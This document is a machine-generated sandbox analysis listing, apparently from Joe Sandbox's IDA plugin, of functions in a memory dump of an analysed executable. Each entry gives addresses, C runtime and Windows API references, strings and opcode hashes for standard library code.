GetProcessHeap.KERNEL32 ref: 006FB84A

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3b9a293b8d88e69d66bd5bd99441f98ded558ae17cd7779e793c1118bca03e50
Instruction ID: 6f4c8da0bf9c7fd77f7e2f5edb001757f33621506163122adacdd787aa1911e5
Opcode Fuzzy Hash: 3b9a293b8d88e69d66bd5bd99441f98ded558ae17cd7779e793c1118bca03e50
Instruction Fuzzy Hash: C0A01270200100CF93004F315A0630C35985A41191700C1185004C4060DA3840104F48

Function 006F2E4B Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction ID: cf6227e716b8cd9adb4bebf7b37cc7d4861a018361e9de7a2279298c3773e43b
Opcode Fuzzy Hash: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction Fuzzy Hash: 83E08C3291122CEBCB14DB88C91499AF3FDEB44B40B21019AB621D3211C270DE04DBD0

Function 006F0040 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71af946d484c22e2509226cd1cebb901a6eaaa6ba92764596b5496140318ba04
Instruction ID: da90e1b12b484f397b721849ba7db5125a23bc5463a562945846416bc5678a04
Opcode Fuzzy Hash: 71af946d484c22e2509226cd1cebb901a6eaaa6ba92764596b5496140318ba04
Instruction Fuzzy Hash: 3EC08C3C20090846DF29A91882713F43357B391782F90048CCA1A0B743CE5F9CC2DA00

Function 006E5564 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006E556B
std::_Lockit::_Lockit.LIBCPMT ref: 006E5575
int.LIBCPMT ref: 006E558C

Part of subcall function 006E173A: std::_Lockit::_Lockit.LIBCPMT ref: 006E174B
Part of subcall function 006E173A: std::_Lockit::~_Lockit.LIBCPMT ref: 006E1765

codecvt.LIBCPMT ref: 006E55AF
std::_Facet_Register.LIBCPMT ref: 006E55C6
std::_Lockit::~_Lockit.LIBCPMT ref: 006E55E6
Concurrency::cancel_current_task.LIBCPMT ref: 006E55F3

Strings

mEn, xrefs: 006E55D3

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID: mEn
API String ID: 2133458128-2555016830
Opcode ID: 149d2e6bfc510dfb67fe9ae320a382574c60d2b7baf7ff43b4984ba21268ec69
Instruction ID: eb187aeaf4c9717d601aaf713909ee695b3b54f85b3dfcef4bca8de2002c3f1c
Opcode Fuzzy Hash: 149d2e6bfc510dfb67fe9ae320a382574c60d2b7baf7ff43b4984ba21268ec69
Instruction Fuzzy Hash: D811DF319027949BCB44AB69D8067AD77B7AF44324F14090DE502A7381DF74AE018B88

Function 006E3E31 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006E3E38
std::_Lockit::_Lockit.LIBCPMT ref: 006E3E42
int.LIBCPMT ref: 006E3E59

Part of subcall function 006E173A: std::_Lockit::_Lockit.LIBCPMT ref: 006E174B
Part of subcall function 006E173A: std::_Lockit::~_Lockit.LIBCPMT ref: 006E1765

codecvt.LIBCPMT ref: 006E3E7C
std::_Facet_Register.LIBCPMT ref: 006E3E93
std::_Lockit::~_Lockit.LIBCPMT ref: 006E3EB3
Concurrency::cancel_current_task.LIBCPMT ref: 006E3EC0

Strings

mEn, xrefs: 006E3EA0

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID: mEn
API String ID: 2133458128-2555016830
Opcode ID: ea42f7742649daba7b89e7cb7c034d90d76950307095d898e0fcf617b2ed6c9a
Instruction ID: 99ef95bb918b8caa49c7e351a9090f68aee1a487d6fd03f15e48f58563b7b32d
Opcode Fuzzy Hash: ea42f7742649daba7b89e7cb7c034d90d76950307095d898e0fcf617b2ed6c9a
Instruction Fuzzy Hash: 0611E4319023A4DBCB55EF65A80A6AEBBF7AF44310F14051DE5059B391DF74AE018788

Function 006E6FD9 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 006E6FDF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 006E6FED
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 006E6FFE
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 006E700F

Strings

GetCurrentPackageId, xrefs: 006E6FE7
GetTempPath2W, xrefs: 006E7004
kernel32.dll, xrefs: 006E6FDA
GetSystemTimePreciseAsFileTime, xrefs: 006E6FF3

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 408381f0bccd6e8e0b625dbaf0e7b3046ebd882c7406aff67bc6cf17696c7a44
Instruction ID: 37aefaec9f9da1115e14e8e1c8ce00725e497bb00e455131583dfef4ded99279
Opcode Fuzzy Hash: 408381f0bccd6e8e0b625dbaf0e7b3046ebd882c7406aff67bc6cf17696c7a44
Instruction Fuzzy Hash: 03E02FB5E51260EBE710AB74BC0DA9A7AE4BB49771741C715F505D2190DBBC44008FA8

Function 006EA788 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006EA8A7
___TypeMatch.LIBVCRUNTIME ref: 006EA9B5
_UnwindNestedFrames.LIBCMT ref: 006EAB07
CallUnexpected.LIBVCRUNTIME ref: 006EAB22

Strings

csm, xrefs: 006EA7C5
csm, xrefs: 006EA8DE
csm, xrefs: 006EA832

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 4aa11110f662477c5e85e4c46ded4d163fbff95cfcf31be0ab99e7d094ea0f96
Instruction ID: cce6cf1e617745f4c7ea961280a7583d2bad9492df638487869082ecb59e9988
Opcode Fuzzy Hash: 4aa11110f662477c5e85e4c46ded4d163fbff95cfcf31be0ab99e7d094ea0f96
Instruction Fuzzy Hash: D5B18D71802389EFCF15DFD6C9819AEBBB6FF14310B15416AE8016B352D730EA52CB96

Function 006E3532 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E353E
int.LIBCPMT ref: 006E3551

Part of subcall function 006E173A: std::_Lockit::_Lockit.LIBCPMT ref: 006E174B
Part of subcall function 006E173A: std::_Lockit::~_Lockit.LIBCPMT ref: 006E1765

std::_Facet_Register.LIBCPMT ref: 006E3584
std::_Lockit::~_Lockit.LIBCPMT ref: 006E359A
Concurrency::cancel_current_task.LIBCPMT ref: 006E35A5

Strings

Z'n, xrefs: 006E3556, 006E356D
Z'n, xrefs: 006E353B, 006E3597

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: Z'n$Z'n
API String ID: 2081738530-416741392
Opcode ID: 853ca2c60e9b6b3744b5435acd3a938d6eaf80819bb4aa7be09f1306c9b34d1d
Instruction ID: 23be819c531f7087879f368e3cffd0e86a679341ca1d0c9bc6ccb475fff321c7
Opcode Fuzzy Hash: 853ca2c60e9b6b3744b5435acd3a938d6eaf80819bb4aa7be09f1306c9b34d1d
Instruction Fuzzy Hash: 3A014772902364ABCB04AB56C80A8ED776ADF80720F10010DF8119B391DB309F018798

Function 006FD733 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 006FD7D9
__alloca_probe_16.LIBCMT ref: 006FD894
__alloca_probe_16.LIBCMT ref: 006FD923
__freea.LIBCMT ref: 006FD96E
__freea.LIBCMT ref: 006FD974
__freea.LIBCMT ref: 006FD9AA
__freea.LIBCMT ref: 006FD9B0
__freea.LIBCMT ref: 006FD9C0

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: d087dcd3f4bd9fa5885202c4919e97360305d4ea2528f0776225cc8837063cdf
Instruction ID: 734cdabb2e0c4ef21590659f3f69b1adfe91345c63be5f631adf3299c23def3a
Opcode Fuzzy Hash: d087dcd3f4bd9fa5885202c4919e97360305d4ea2528f0776225cc8837063cdf
Instruction Fuzzy Hash: 0071027290024EABDF219FA5CC81BFE77BBAF45350F290059EA14A7381D675EC01C7A4

Function 006E6DBD Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 006E6E06
__alloca_probe_16.LIBCMT ref: 006E6E32
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 006E6E71
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006E6E8E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 006E6ECD
__alloca_probe_16.LIBCMT ref: 006E6EEA
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006E6F2C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 006E6F4F

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 0052296c27be0cde58e05742a25fdae0daab82eed3b5b1dcb4e36c420fc2eb79
Instruction ID: b22c41627b41770629903986ffcfcea8eacfcf8425f4469e8fee42759e69637f
Opcode Fuzzy Hash: 0052296c27be0cde58e05742a25fdae0daab82eed3b5b1dcb4e36c420fc2eb79
Instruction Fuzzy Hash: 9551CE72612386ABDF214F62DC45FAF7BABEF60790F144128F90496290DB74CC11CB94

Function 006E51EC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006E51F3
std::_Lockit::_Lockit.LIBCPMT ref: 006E51FE
std::_Lockit::~_Lockit.LIBCPMT ref: 006E526C

Part of subcall function 006E534F: std::locale::_Locimp::_Locimp.LIBCPMT ref: 006E5367

std::locale::_Setgloballocale.LIBCPMT ref: 006E5219
_Yarn.LIBCPMT ref: 006E522F

Strings

mEn, xrefs: 006E523B, 006E525F

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: mEn
API String ID: 1088826258-2555016830
Opcode ID: 277566266f9df4999a1e5ae36348a1c74d0686f216119a962a84739f3e5bee8c
Instruction ID: c6f812c25670e6a83ca408db590b9e68ea8ab62a25e50201189034b9e6210e8c
Opcode Fuzzy Hash: 277566266f9df4999a1e5ae36348a1c74d0686f216119a962a84739f3e5bee8c
Instruction Fuzzy Hash: 3F01B175602694DBC705EB21E85557D37A3BF84354B14410CE91617381CF786E02CBC9

Function 006F0062 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A418D8C2,?,?,00000000,006FF147,000000FF,?,006EFFF2,00000002,?,006EFFC6,006ECA0D), ref: 006F0097
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006F00A9
FreeLibrary.KERNEL32(00000000,?,?,00000000,006FF147,000000FF,?,006EFFF2,00000002,?,006EFFC6,006ECA0D), ref: 006F00CB

Strings

mscoree.dll, xrefs: 006F0090
mEn, xrefs: 006F00BA
CorExitProcess, xrefs: 006F00A1

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mEn$mscoree.dll
API String ID: 4061214504-3563252196
Opcode ID: 5c12326bac0e1c9fca8d368fa5102e72cbcebdfb3ac36984b4dbe651a47c1169
Instruction ID: 96eb65ede1027c6262d56e2f20c8bcb8a3d042b28f08a95eb5a624e335191fb4
Opcode Fuzzy Hash: 5c12326bac0e1c9fca8d368fa5102e72cbcebdfb3ac36984b4dbe651a47c1169
Instruction Fuzzy Hash: 5A01447190465AEBDB118B50CC09FAEB7B9FB04714F008626E911A26D1DF789900CAA4

Function 006EA41A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,006EA411,006E89DA,006E7CE1), ref: 006EA428
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 006EA436
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006EA44F
SetLastError.KERNEL32(00000000,006EA411,006E89DA,006E7CE1), ref: 006EA4A1

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0b995bed1e7c604e4b07b6f0c62cfc505373aa83fc2170b4e77f7e3c4c4db74d
Instruction ID: 1094f8b8876cff765d59809d6662c5a05f4d15cb31f168dc970e3a5643b5b12c
Opcode Fuzzy Hash: 0b995bed1e7c604e4b07b6f0c62cfc505373aa83fc2170b4e77f7e3c4c4db74d
Instruction Fuzzy Hash: E001F53211B391EEE7511BB6BD4A7672797EB01334B20432EF410821E1FF961C00518F

Function 006EA531 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006EA5F8
___AdjustPointer.LIBCMT ref: 006EA61B
___AdjustPointer.LIBCMT ref: 006EA6B7

Strings

mEn, xrefs: 006EA590

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: mEn
API String ID: 1740715915-2555016830
Opcode ID: 4e88a03e511e66a18a0c096249844f50c0e01170d2e0e41c113b658afd8c1bb8
Instruction ID: 5e0e3cb26876c867f4013018b2feefd0edc8cdd266a1c69b37f461100efd7d0c
Opcode Fuzzy Hash: 4e88a03e511e66a18a0c096249844f50c0e01170d2e0e41c113b658afd8c1bb8
Instruction Fuzzy Hash: 3251FFB2A02386AFDB258F92D841BBA77A6FF41310F18442DE8094B391D731FD41CB96

Function 006F6D31 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006F6DB8
__alloca_probe_16.LIBCMT ref: 006F6E79
__freea.LIBCMT ref: 006F6EE0

Part of subcall function 006F5F8A: RtlAllocateHeap.NTDLL(00000000,006F89B1,?,?,006F89B1,00000220,?,00000000,?), ref: 006F5FBC

__freea.LIBCMT ref: 006F6EF5
__freea.LIBCMT ref: 006F6F05

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: b519267d04378f33176b950073862af0591f385c89bc1b9aac05f6f147d51564
Instruction ID: 8bf4041246f811ba01f990f97e4a76586d74534e0792178070c63154d404ef38
Opcode Fuzzy Hash: b519267d04378f33176b950073862af0591f385c89bc1b9aac05f6f147d51564
Instruction Fuzzy Hash: D1519F7260521EAFEF259F65DC82EFB7AABEF44354B150129FE04D6251EB31CC1087A4

Function 006E262C Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E2638
int.LIBCPMT ref: 006E264B

Part of subcall function 006E173A: std::_Lockit::_Lockit.LIBCPMT ref: 006E174B
Part of subcall function 006E173A: std::_Lockit::~_Lockit.LIBCPMT ref: 006E1765

std::_Facet_Register.LIBCPMT ref: 006E267E
std::_Lockit::~_Lockit.LIBCPMT ref: 006E2694
Concurrency::cancel_current_task.LIBCPMT ref: 006E269F

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 1b2c8c01c701437ec70b969de1644c10be6807c0aa68adeb23c2355f9fb87ad1
Instruction ID: e0cc02c432f19d38dbb29f45233e4af18b3782d1b07138478872ee0e29037ab0
Opcode Fuzzy Hash: 1b2c8c01c701437ec70b969de1644c10be6807c0aa68adeb23c2355f9fb87ad1
Instruction Fuzzy Hash: F501F232502394ABCB15AB66D85ACEE776FDF80764F24025CF8059B391EF309E42C788

Function 006EA220 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006EA25F
__IsNonwritableInCurrentImage.LIBCMT ref: 006EA313

Strings

mEn, xrefs: 006EA32C
csm, xrefs: 006EA2FD

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$mEn
API String ID: 3480331319-3856839041
Opcode ID: 771a2c2b02ad27676bf28ecac25d195a5fa032767bd49143968dc89c51ccde29
